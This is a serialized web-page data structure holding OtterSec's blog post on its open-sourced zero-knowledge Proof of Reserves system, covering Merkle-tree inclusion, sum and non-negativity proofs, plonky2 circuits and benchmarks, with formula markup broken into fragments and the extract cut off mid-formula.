method.",{"type":23,"tag":24,"props":90052,"children":90053},{},[90054,90056,90063,90065,90072,90074,90081],{"type":28,"value":90055},"We from OtterSec, in partnership with ",{"type":23,"tag":190,"props":90057,"children":90060},{"href":90058,"rel":90059},"https://backpack.exchange/",[194],[90061],{"type":28,"value":90062},"Backpack",{"type":28,"value":90064},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":190,"props":90066,"children":90069},{"href":90067,"rel":90068},"https://github.com/otter-sec/por_v2",[194],[90070],{"type":28,"value":90071},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":28,"value":90073}," was based on ",{"type":23,"tag":190,"props":90075,"children":90078},{"href":90076,"rel":90077},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[194],[90079],{"type":28,"value":90080},"OKX Proof of Reserves algorithm",{"type":28,"value":90082}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":24,"props":90084,"children":90085},{},[90086,90088,90095],{"type":28,"value":90087},"In addition, we also created and open-sourced a ",{"type":23,"tag":190,"props":90089,"children":90092},{"href":90090,"rel":90091},"https://github.com/otter-sec/por_verifier_server",[194],[90093],{"type":28,"value":90094},"PoR verifier server",{"type":28,"value":90096}," that receives the proofs and validates them.",{"type":23,"tag":31,"props":90098,"children":90100},{"id":90099},"why-do-we-use-zk-for-por",[90101],{"type":28,"value":90102},"Why do we use ZK for PoR?",{"type":23,"tag":24,"props":90104,"children":90105},{},[90106,90108,90113],{"type":28,"value":90107},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":2875,"props":90109,"children":90110},{},[90111],{"type":28,"value":90112},"Zero-Knowledge Proofs (ZKPs)",{"type":28,"value":90114}," become game-changers.",{"type":23,"tag":24,"props":90116,"children":90117},{},[90118],{"type":28,"value":90119},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":24,"props":90121,"children":90122},{},[90123],{"type":28,"value":90124},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":73,"props":90126,"children":90127},{},[90128,90145],{"type":23,"tag":77,"props":90129,"children":90130},{},[90131,90136,90138,90144],{"type":23,"tag":2875,"props":90132,"children":90133},{},[90134],{"type":28,"value":90135},"Sum proof",{"type":28,"value":90137},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":64,"props":90139,"children":90141},{"className":90140},[],[90142],{"type":28,"value":90143},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":28,"value":18240},{"type":23,"tag":77,"props":90146,"children":90147},{},[90148,90153,90155,90160],{"type":23,"tag":2875,"props":90149,"children":90150},{},[90151],{"type":28,"value":90152},"Non-negativity",{"type":28,"value":90154},": All users have a ",{"type":23,"tag":2875,"props":90156,"children":90157},{},[90158],{"type":28,"value":90159},"positive",{"type":28,"value":90161}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":24,"props":90163,"children":90164},{},[90165],{"type":28,"value":90166},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":31,"props":90168,"children":90170},{"id":90169},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[90171],{"type":28,"value":90172},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":24,"props":90174,"children":90175},{},[90176],{"type":28,"value":90177},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":24,"props":90179,"children":90180},{},[90181],{"type":23,"tag":149,"props":90182,"children":90184},{"alt":48104,"src":90183},"/posts/por/merkle-tree.png",[],{"type":23,"tag":24,"props":90186,"children":90187},{},[90188],{"type":28,"value":90189},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":73,"props":90191,"children":90192},{},[90193,90206,90211],{"type":23,"tag":77,"props":90194,"children":90195},{},[90196,90198,90204],{"type":28,"value":90197},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":64,"props":90199,"children":90201},{"className":90200},[],[90202],{"type":28,"value":90203},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":28,"value":90205},");",{"type":23,"tag":77,"props":90207,"children":90208},{},[90209],{"type":28,"value":90210},"The Merkle tree is made public;",{"type":23,"tag":77,"props":90212,"children":90213},{},[90214],{"type":28,"value":90215},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":24,"props":90217,"children":90218},{},[90219],{"type":28,"value":90220},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":31,"props":90222,"children":90224},{"id":90223},"ottersec-porv2",[90225],{"type":28,"value":90226},"OtterSec PoRv2",{"type":23,"tag":24,"props":90228,"children":90229},{},[90230,90236,90238,90245],{"type":23,"tag":190,"props":90231,"children":90233},{"href":90067,"rel":90232},[194],[90234],{"type":28,"value":90235},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":28,"value":90237},", which uses the ",{"type":23,"tag":190,"props":90239,"children":90242},{"href":90240,"rel":90241},"https://github.com/0xPolygonZero/plonky2",[194],[90243],{"type":28,"value":90244},"plonky2 ZK algorithm",{"type":28,"value":90246}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":24,"props":90248,"children":90249},{},[90250,90252,90259],{"type":28,"value":90251},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":190,"props":90253,"children":90256},{"href":90254,"rel":90255},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[194],[90257],{"type":28,"value":90258},"Vitalik's proof of solvency",{"type":28,"value":90260},", which was not optimal.",{"type":23,"tag":24,"props":90262,"children":90263},{},[90264],{"type":23,"tag":2875,"props":90265,"children":90266},{},[90267],{"type":28,"value":90268},"Non-negativity Proof",{"type":23,"tag":24,"props":90270,"children":90271},{},[90272],{"type":28,"value":90273},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":24,"props":90275,"children":90276},{},[90277],{"type":28,"value":90278},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":24,"props":90280,"children":90281},{},[90282],{"type":23,"tag":2875,"props":90283,"children":90284},{},[90285],{"type":28,"value":90286},"Sum Proof",{"type":23,"tag":24,"props":90288,"children":90289},{},[90290,90292,90298],{"type":28,"value":90291},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":64,"props":90293,"children":90295},{"className":90294},[],[90296],{"type":28,"value":90297},"BTC final: user1_btc + user2_btc ...",{"type":28,"value":90299},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":7092,"props":90301,"children":90303},{"id":90302},"what-are-the-ottersec-porv2-key-points",[90304],{"type":28,"value":90305},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":73,"props":90307,"children":90308},{},[90309,90319,90337,90347,90378],{"type":23,"tag":77,"props":90310,"children":90311},{},[90312,90317],{"type":23,"tag":2875,"props":90313,"children":90314},{},[90315],{"type":28,"value":90316},"Transparency",{"type":28,"value":90318},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":77,"props":90320,"children":90321},{},[90322,90327,90329,90336],{"type":23,"tag":2875,"props":90323,"children":90324},{},[90325],{"type":28,"value":90326},"Time-efficiency",{"type":28,"value":90328},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":190,"props":90330,"children":90333},{"href":90331,"rel":90332},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[194],[90334],{"type":28,"value":90335},"Check our benchmark",{"type":28,"value":199},{"type":23,"tag":77,"props":90338,"children":90339},{},[90340,90345],{"type":23,"tag":2875,"props":90341,"children":90342},{},[90343],{"type":28,"value":90344},"Memory-efficiency",{"type":28,"value":90346},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":77,"props":90348,"children":90349},{},[90350,90355,90357,90362,90364,90369,90371,90376],{"type":23,"tag":2875,"props":90351,"children":90352},{},[90353],{"type":28,"value":90354},"Small-proofs",{"type":28,"value":90356},": We were able to reduce the final proof to less than ",{"type":23,"tag":2875,"props":90358,"children":90359},{},[90360],{"type":28,"value":90361},"500KB",{"type":28,"value":90363}," and each inclusion proof to ",{"type":23,"tag":2875,"props":90365,"children":90366},{},[90367],{"type":28,"value":90368},"~52KB",{"type":28,"value":90370},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":2875,"props":90372,"children":90373},{},[90374],{"type":28,"value":90375},"200MB",{"type":28,"value":90377}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":77,"props":90379,"children":90380},{},[90381,90386],{"type":23,"tag":2875,"props":90382,"children":90383},{},[90384],{"type":28,"value":90385},"Privacy",{"type":28,"value":90387},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":31,"props":90389,"children":90391},{"id":90390},"zk-circuits",[90392],{"type":28,"value":90393},"ZK Circuits",{"type":23,"tag":24,"props":90395,"children":90396},{},[90397],{"type":28,"value":90398},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":73,"props":90400,"children":90401},{},[90402,90407],{"type":23,"tag":77,"props":90403,"children":90404},{},[90405],{"type":28,"value":90406},"Batch circuit",{"type":23,"tag":77,"props":90408,"children":90409},{},[90410],{"type":28,"value":90411},"Recursive circuit",{"type":23,"tag":24,"props":90413,"children":90414},{},[90415],{"type":28,"value":90416},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":24,"props":90418,"children":90419},{},[90420],{"type":23,"tag":149,"props":90421,"children":90423},{"alt":48104,"src":90422},"/posts/por/batch-circuit.png",[],{"type":23,"tag":426,"props":90425,"children":90426},{},[90427],{"type":23,"tag":24,"props":90428,"children":90429},{},[90430,90432,90438,90440,90446],{"type":28,"value":90431},"Note: We are using 512 as ",{"type":23,"tag":64,"props":90433,"children":90435},{"className":90434},[],[90436],{"type":28,"value":90437},"BATCH_SIZE",{"type":28,"value":90439}," and 8 as ",{"type":23,"tag":64,"props":90441,"children":90443},{"className":90442},[],[90444],{"type":28,"value":90445},"RECURSIVE_SIZE",{"type":28,"value":90447}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":426,"props":90449,"children":90450},{},[90451],{"type":23,"tag":24,"props":90452,"children":90453},{},[90454],{"type":28,"value":90455},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":24,"props":90457,"children":90458},{},[90459],{"type":28,"value":90460},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":7092,"props":90462,"children":90464},{"id":90463},"leaf-nodes",[90465],{"type":28,"value":90466},"Leaf Nodes",{"type":23,"tag":24,"props":90468,"children":90469},{},[90470],{"type":28,"value":90471},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":23,"tag":24,"props":90473,"children":90474},{},[90475],{"type":23,"tag":64,"props":90476,"children":90478},{"className":90477},[1527,1528],[90479],{"type":23,"tag":481,"props":90480,"children":90482},{"className":90481},[1533],[90483],{"type":23,"tag":481,"props":90484,"children":90486},{"className":90485,"ariaHidden":1539},[1538],[90487,90514],{"type":23,"tag":481,"props":90488,"children":90490},{"className":90489},[1544],[90491,90496,90501,90505,90510],{"type":23,"tag":481,"props":90492,"children":90495},{"className":90493,"style":90494},[1549],"height:0.6944em;",[],{"type":23,"tag":481,"props":90497,"children":90499},{"className":90498},[1555,19086],[90500],{"type":28,"value":81877},{"type":23,"tag":481,"props":90502,"children":90504},{"className":90503,"style":1734},[1636],[],{"type":23,"tag":481,"props":90506,"children":90508},{"className":90507},[1739],[90509],{"type":28,"value":603},{"type":23,"tag":481,"props":90511,"children":90513},{"className":90512,"style":1734},[1636],[],{"type":23,"tag":481,"props":90515,"children":90517},{"className":90516},[1544],[90518,90523,90528,90534,90539,90544,90550,90555,90560,90565,90571,90576,90582,90588,90595,90601,90607,90667,90672,90678,90683,90688,90693,90698,90703,90708,90713,90718,90723,90780,90785,90790,90795,90800,90805,90810,90817,90822,90828,90833,90839,90845,90850,90855,90860,90865,90870,90875,90880,90885,90890,90895,90900,90905,90910,90915],{"type":23,"tag":481,"props":90519,"children":90522},{"className":90520,"style":90521},[1549],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":481,"props":90524,"children":90526},{"className":90525,"style":19087},[1555,19086],[90527],{"type":28,"value":19090},{"type":23,"tag":481,"props":90529,"children":90531},{"className":90530},[1555,19086],[90532],{"type":28,"value":90533},"ose",{"type":23,"tag":481,"props":90535,"children":90537},{"className":90536},[1555,19086],[90538],{"type":28,"value":1274},{"type":23,"tag":481,"props":90540,"children":90542},{"className":90541},[1555,19086],[90543],{"type":28,"value":68094},{"type":23,"tag":481,"props":90545,"children":90547},{"className":90546},[1555,19086],[90548],{"type":28,"value":90549},"o",{"type":23,"tag":481,"props":90551,"children":90553},{"className":90552},[1555,19086],[90554],{"type":28,"value":53930},{"type":23,"tag":481,"props":90556,"children":90558},{"className":90557},[19215],[90559],{"type":28,"value":618},{"type":23,"tag":481,"props":90561,"children":90563},{"className":90562},[1555,19086],[90564],{"type":28,"value":190},{"type":23,"tag":481,"props":90566,"children":90568},{"className":90567},[1555,19086],[90569],{"type":28,"value":90570},"sse",{"type":23,"tag":481,"props":90572,"children":90574},{"className":90573},[1555,19086],[90575],{"type":28,"value":19228},{"type":23,"tag":481,"props":90577,"children":90580},{"className":90578,"style":90579},[1555],"margin-right:0.02778em;",[90581],{"type":28,"value":593},{"type":23,"tag":481,"props":90583,"children":90585},{"className":90584},[1555,19086],[90586],{"type":28,"value":90587},"ba",{"type":23,"tag":481,"props":90589,"children":90592},{"className":90590,"style":90591},[1555,19086],"margin-right:0.01968em;",[90593],{"type":28,"value":90594},"l",{"type":23,"tag":481,"props":90596,"children":90598},{"className":90597},[1555,19086],[90599],{"type":28,"value":90600},"an",{"type":23,"tag":481,"props":90602,"children":90604},{"className":90603},[1555,19086],[90605],{"type":28,"value":90606},"ce",{"type":23,"tag":481,"props":90608,"children":90610},{"className":90609},[1555],[90611,90616],{"type":23,"tag":481,"props":90612,"children":90614},{"className":90613},[1555,19086],[90615],{"type":28,"value":8137},{"type":23,"tag":481,"props":90617,"children":90619},{"className":90618},[1572],[90620],{"type":23,"tag":481,"props":90621,"children":90623},{"className":90622},[1577,19140],[90624,90655],{"type":23,"tag":481,"props":90625,"children":90627},{"className":90626},[1582],[90628,90650],{"type":23,"tag":481,"props":90629,"children":90632},{"className":90630,"style":90631},[1587],"height:0.3011em;",[90633],{"type":23,"tag":481,"props":90634,"children":90636},{"style":90635},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[90637,90641],{"type":23,"tag":481,"props":90638,"children":90640},{"className":90639,"style":1597},[1596],[],{"type":23,"tag":481,"props":90642,"children":90644},{"className":90643},[1602,1603,1604,1605],[90645],{"type":23,"tag":481,"props":90646,"children":90648},{"className":90647},[1555,1605],[90649],{"type":28,"value":1568},{"type":23,"tag":481,"props":90651,"children":90653},{"className":90652},[19243],[90654],{"type":28,"value":19246},{"type":23,"tag":481,"props":90656,"children":90658},{"className":90657},[1582],[90659],{"type":23,"tag":481,"props":90660,"children":90663},{"className":90661,"style":90662},[1587],"height:0.15em;",[90664],{"type":23,"tag":481,"props":90665,"children":90666},{},[],{"type":23,"tag":481,"props":90668,"children":90670},{"className":90669},[1636],[90671],{"type":28,"value":19187},{"type":23,"tag":481,"props":90673,"children":90675},{"className":90674},[1555],[90676],{"type":28,"value":90677},"∣∣",{"type":23,"tag":481,"props":90679,"children":90681},{"className":90680},[1636],[90682],{"type":28,"value":19187},{"type":23,"tag":481,"props":90684,"children":90686},{"className":90685},[1555,19086],[90687],{"type":28,"value":190},{"type":23,"tag":481,"props":90689,"children":90691},{"className":90690},[1555,19086],[90692],{"type":28,"value":90570},{"type":23,"tag":481,"props":90694,"children":90696},{"className":90695},[1555,19086],[90697],{"type":28,"value":19228},{"type":23,"tag":481,"props":90699,"children":90701},{"className":90700,"style":90579},[1555],[90702],{"type":28,"value":593},{"type":23,"tag":481,"props":90704,"children":90706},{"className":90705},[1555,19086],[90707],{"type":28,"value":90587},{"type":23,"tag":481,"props":90709,"children":90711},{"className":90710,"style":90591},[1555,19086],[90712],{"type":28,"value":90594},{"type":23,"tag":481,"props":90714,"children":90716},{"className":90715},[1555,19086],[90717],{"type":28,"value":90600},{"type":23,"tag":481,"props":90719,"children":90721},{"className":90720},[1555,19086],[90722],{"type":28,"value":90606},{"type":23,"tag":481,"props":90724,"children":90726},{"className":90725},[1555],[90727,90732],{"type":23,"tag":481,"props":90728,"children":90730},{"className":90729},[1555,19086],[90731],{"type":28,"value":8137},{"type":23,"tag":481,"props":90733,"children":90735},{"className":90734},[1572],[90736],{"type":23,"tag":481,"props":90737,"children":90739},{"className":90738},[1577,19140],[90740,90769],{"type":23,"tag":481,"props":90741,"children":90743},{"className":90742},[1582],[90744,90764],{"type":23,"tag":481,"props":90745,"children":90747},{"className":90746,"style":90631},[1587],[90748],{"type":23,"tag":481,"props":90749,"children":90750},{"style":90635},[90751,90755],{"type":23,"tag":481,"props":90752,"children":90754},{"className":90753,"style":1597},[1596],[],{"type":23,"tag":481,"props":90756,"children":90758},{"className":90757},[1602,1603,1604,1605],[90759],{"type":23,"tag":481,"props":90760,"children":90762},{"className":90761},[1555,1605],[90763],{"type":28,"value":1558},{"type":23,"tag":481,"props":90765,"children":90767},{"className":90766},[19243],[90768],{"type":28,"value":19246},{"type":23,"tag":481,"props":90770,"children":90772},{"className":90771},[1582],[90773],{"type":23,"tag":481,"props":90774,"children":90776},{"className":90775,"style":90662},[1587],[90777],{"type":23,"tag":481,"props":90778,"children":90779},{},[],{"type":23,"tag":481,"props":90781,"children":90783},{"className":90782},[1636],[90784],{"type":28,"value":19187},{"type":23,"tag":481,"props":90786,"children":90788},{"className":90787},[1555],[90789],{"type":28,"value":7074},{"type":23,"tag":481,"props":90791,"children":90793},{"className":90792},[1636],[90794],{"type":28,"value":19187},{"type":23,"tag":481,"props":90796,"children":90798},{"className":90797},[1555],[90799],{"type":28,"value":90677},{"type":23,"tag":481,"props":90801,"children":90803},{"className":90802},[1636],[90804],{"type":28,"value":19187},{"type":23,"tag":481,"props":90806,"children":90808},{"className":90807,"style":19545},[1555,19086],[90809],{"type":28,"value":19548},{"type":23,"tag":481,"props":90811,"children":90814},{"className":90812,"style":90813},[1555,19086],"margin-right:0.08125em;",[90815],{"type":28,"value":90816},"H",{"type":23,"tag":481,"props":90818,"children":90820},{"className":90819},[1555,19086],[90821],{"type":28,"value":74299},{"type":23,"tag":481,"props":90823,"children":90825},{"className":90824},[1555],[90826],{"type":28,"value":90827},"256",{"type":23,"tag":481,"props":90829,"children":90831},{"className":90830},[19215],[90832],{"type":28,"value":618},{"type":23,"tag":481,"props":90834,"children":90836},{"className":90835},[1555,19086],[90837],{"type":28,"value":90838},"u",{"type":23,"tag":481,"props":90840,"children":90842},{"className":90841,"style":90579},[1555,19086],[90843],{"type":28,"value":90844},"ser",{"type":23,"tag":481,"props":90846,"children":90848},{"className":90847,"style":90579},[1555],[90849],{"type":28,"value":593},{"type":23,"tag":481,"props":90851,"children":90853},{"className":90852},[1555,19086],[90854],{"type":28,"value":1274},{"type":23,"tag":481,"props":90856,"children":90858},{"className":90857},[1555,19086],[90859],{"type":28,"value":68094},{"type":23,"tag":481,"props":90861,"children":90863},{"className":90862},[19237],[90864],{"type":28,"value":642},{"type":23,"tag":481,"props":90866,"children":90868},{"className":90867},[1636],[90869],{"type":28,"value":19187},{"type":23,"tag":481,"props":90871,"children":90873},{"className":90872},[1555],[90874],{"type":28,"value":90677},{"type":23,"tag":481,"props":90876,"children":90878},{"className":90877},[1636],[90879],{"type":28,"value":19187},{"type":23,"tag":481,"props":90881,"children":90883},{"className":90882},[1555,19086],[90884],{"type":28,"value":90838},{"type":23,"tag":481,"props":90886,"children":90888},{"className":90887,"style":90579},[1555,19086],[90889],{"type":28,"value":90844},{"type":23,"tag":481,"props":90891,"children":90893},{"className":90892,"style":90579},[1555],[90894],{"type":28,"value":593},{"type":23,"tag":481,"props":90896,"children":90898},{"className":90897},[1555,19086],[90899],{"type":28,"value":53930},{"type":23,"tag":481,"props":90901,"children":90903},{"className":90902},[1555,19086],[90904],{"type":28,"value":90549},{"type":23,"tag":481,"props":90906,"children":90908},{"className":90907},[1555,19086],[90909],{"type":28,"value":53930},{"type":23,"tag":481,"props":90911,"children":90913},{"className":90912},[1555,19086],[90914],{"type":28,"value":90606},{"type":23,"tag":481,"props":90916,"children":90918},{"className":90917},[19237],[90919],{"type":28,"value":642},{"type":23,"tag":24,"props":90921,"children":90922},{},[90923,90925,90931],{"type":28,"value":90924},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":64,"props":90926,"children":90928},{"className":90927},[],[90929],{"type":28,"value":90930},"uuid",{"type":28,"value":90932},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":7092,"props":90934,"children":90936},{"id":90935},"batch-circuit",[90937],{"type":28,"value":90938},"Batch Circuit",{"type":23,"tag":24,"props":90940,"children":90941},{},[90942],{"type":28,"value":90943},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":24,"props":90945,"children":90946},{},[90947],{"type":23,"tag":2875,"props":90948,"children":90949},{},[90950],{"type":28,"value":90951},"Public Inputs",{"type":23,"tag":14178,"props":90953,"children":90954},{},[90955,90960,90965],{"type":23,"tag":77,"props":90956,"children":90957},{},[90958],{"type":28,"value":90959},"Asset prices in USD",{"type":23,"tag":77,"props":90961,"children":90962},{},[90963],{"type":28,"value":90964},"Merkle tree hash",{"type":23,"tag":77,"props":90966,"children":90967},{},[90968],{"type":28,"value":90969},"Summed asset balances",{"type":23,"tag":24,"props":90971,"children":90972},{},[90973],{"type":23,"tag":2875,"props":90974,"children":90975},{},[90976],{"type":28,"value":90977},"Private Inputs",{"type":23,"tag":14178,"props":90979,"children":90980},{},[90981,90986],{"type":23,"tag":77,"props":90982,"children":90983},{},[90984],{"type":28,"value":90985},"Users balances",{"type":23,"tag":77,"props":90987,"children":90988},{},[90989],{"type":28,"value":90990},"Merkle tree leaves hashes",{"type":23,"tag":24,"props":90992,"children":90993},{},[90994],{"type":23,"tag":2875,"props":90995,"children":90996},{},[90997],{"type":28,"value":90998},"Constraints",{"type":23,"tag":14178,"props":91000,"children":91001},{},[91002,91455,91623,91970,92368],{"type":23,"tag":77,"props":91003,"children":91004},{},[91005],{"type":23,"tag":64,"props":91006,"children":91008},{"className":91007},[1527,1528],[91009],{"type":23,"tag":481,"props":91010,"children":91012},{"className":91011},[1533],[91013],{"type":23,"tag":481,"props":91014,"children":91016},{"className":91015,"ariaHidden":1539},[1538],[91017,91156,91360],{"type":23,"tag":481,"props":91018,"children":91020},{"className":91019},[1544],[91021,91026,91031,91037,91042,91047,91052,91057,91062,91069,91074,91079,91084,91143,91147,91152],{"type":23,"tag":481,"props":91022,"children":91025},{"className":91023,"style":91024},[1549],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":481,"props":91027,"children":91029},{"className":91028},[1555,19086],[91030],{"type":28,"value":190},{"type":23,"tag":481,"props":91032,"children":91034},{"className":91033},[1555,19086],[91035],{"type":28,"value":91036},"cco",{"type":23,"tag":481,"props":91038,"children":91040},{"className":91039},[1555,19086],[91041],{"type":28,"value":90838},{"type":23,"tag":481,"props":91043,"children":91045},{"className":91044},[1555,19086],[91046],{"type":28,"value":53930},{"type":23,"tag":481,"props":91048,"children":91050},{"className":91049},[1555,19086],[91051],{"type":28,"value":19228},{"type":23,"tag":481,"props":91053,"children":91055},{"className":91054,"style":90579},[1555],[91056],{"type":28,"value":593},{"type":23,"tag":481,"props":91058,"children":91060},{"className":91059},[1555,19086],[91061],{"type":28,"value":48980},{"type":23,"tag":481,"props":91063,"children":91066},{"className":91064,"style":91065},[1555,19086],"margin-right:0.03588em;",[91067],{"type":28,"value":91068},"q",{"type":23,"tag":481,"props":91070,"children":91072},{"className":91071},[1555,19086],[91073],{"type":28,"value":90838},{"type":23,"tag":481,"props":91075,"children":91077},{"className":91076},[1555,19086],[91078],{"type":28,"value":1274},{"type":23,"tag":481,"props":91080,"children":91082},{"className":91081},[1555,19086],[91083],{"type":28,"value":19228},{"type":23,"tag":481,"props":91085,"children":91087},{"className":91086},[1555],[91088,91093],{"type":23,"tag":481,"props":91089,"children":91091},{"className":91090,"style":91065},[1555,19086],[91092],{"type":28,"value":628},{"type":23,"tag":481,"props":91094,"children":91096},{"className":91095},[1572],[91097],{"type":23,"tag":481,"props":91098,"children":91100},{"className":91099},[1577,19140],[91101,91132],{"type":23,"tag":481,"props":91102,"children":91104},{"className":91103},[1582],[91105,91127],{"type":23,"tag":481,"props":91106,"children":91109},{"className":91107,"style":91108},[1587],"height:0.3117em;",[91110],{"type":23,"tag":481,"props":91111,"children":91113},{"style":91112},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[91114,91118],{"type":23,"tag":481,"props":91115,"children":91117},{"className":91116,"style":1597},[1596],[],{"type":23,"tag":481,"props":91119,"children":91121},{"className":91120},[1602,1603,1604,1605],[91122],{"type":23,"tag":481,"props":91123,"children":91125},{"className":91124},[1555,19086,1605],[91126],{"type":28,"value":1274},{"type":23,"tag":481,"props":91128,"children":91130},{"className":91129},[19243],[91131],{"type":28,"value":19246},{"type":23,"tag":481,"props":91133,"children":91135},{"className":91134},[1582],[91136],{"type":23,"tag":481,"props":91137,"children":91139},{"className":91138,"style":90662},[1587],[91140],{"type":23,"tag":481,"props":91141,"children":91142},{},[],{"type":23,"tag":481,"props":91144,"children":91146},{"className":91145,"style":1734},[1636],[],{"type":23,"tag":481,"props":91148,"children":91150},{"className":91149},[1739],[91151],{"type":28,"value":6055},{"type":23,"tag":481,"props":91153,"children":91155},{"className":91154,"style":1734},[1636],[],{"type":23,"tag":481,"props":91157,"children":91159},{"className":91158},[1544],[91160,91164,91170,91175,91180,91185,91190,91195,91200,91205,91210,91215,91220,91225,91230,91235,91240,91245,91302,91307,91312,91317,91322,91327,91332,91337,91342,91347,91351,91356],{"type":23,"tag":481,"props":91161,"children":91163},{"className":91162,"style":90521},[1549],[],{"type":23,"tag":481,"props":91165,"children":91167},{"className":91166},[1555],[91168],{"type":28,"value":91169},"Σ",{"type":23,"tag":481,"props":91171,"children":91173},{"className":91172},[1636],[91174],{"type":28,"value":19187},{"type":23,"tag":481,"props":91176,"children":91178},{"className":91177},[1555,19086],[91179],{"type":28,"value":190},{"type":23,"tag":481,"props":91181,"children":91183},{"className":91182},[1555,19086],[91184],{"type":28,"value":91036},{"type":23,"tag":481,"props":91186,"children":91188},{"className":91187},[1555,19086],[91189],{"type":28,"value":90838},{"type":23,"tag":481,"props":91191,"children":91193},{"className":91192},[1555,19086],[91194],{"type":28,"value":53930},{"type":23,"tag":481,"props":91196,"children":91198},{"className":91197},[1555,19086],[91199],{"type":28,"value":19228},{"type":23,"tag":481,"props":91201,"children":91203},{"className":91202,"style":90579},[1555],[91204],{"type":28,"value":593},{"type":23,"tag":481,"props":91206,"children":91208},{"className":91207},[1555,19086],[91209],{"type":28,"value":190},{"type":23,"tag":481,"props":91211,"children":91213},{"className":91212},[1555,19086],[91214],{"type":28,"value":90570},{"type":23,"tag":481,"props":91216,"children":91218},{"className":91217},[1555,19086],[91219],{"type":28,"value":19228},{"type":23,"tag":481,"props":91221,"children":91223},{"className":91222,"style":90579},[1555],[91224],{"type":28,"value":593},{"type":23,"tag":481,"props":91226,"children":91228},{"className":91227},[1555,19086],[91229],{"type":28,"value":90587},{"type":23,"tag":481,"props":91231,"children":91233},{"className":91232,"style":90591},[1555,19086],[91234],{"type":28,"value":90594},{"type":23,"tag":481,"props":91236,"children":91238},{"className":91237},[1555,19086],[91239],{"type":28,"value":90600},{"type":23,"tag":481,"props":91241,"children":91243},{"className":91242},[1555,19086],[91244],{"type":28,"value":90606},{"type":23,"tag":481,"props":91246,"children":91248},{"className":91247},[1555],[91249,91254],{"type":23,"tag":481,"props":91250,"children":91252},{"className":91251},[1555,19086],[91253],{"type":28,"value":8137},{"type"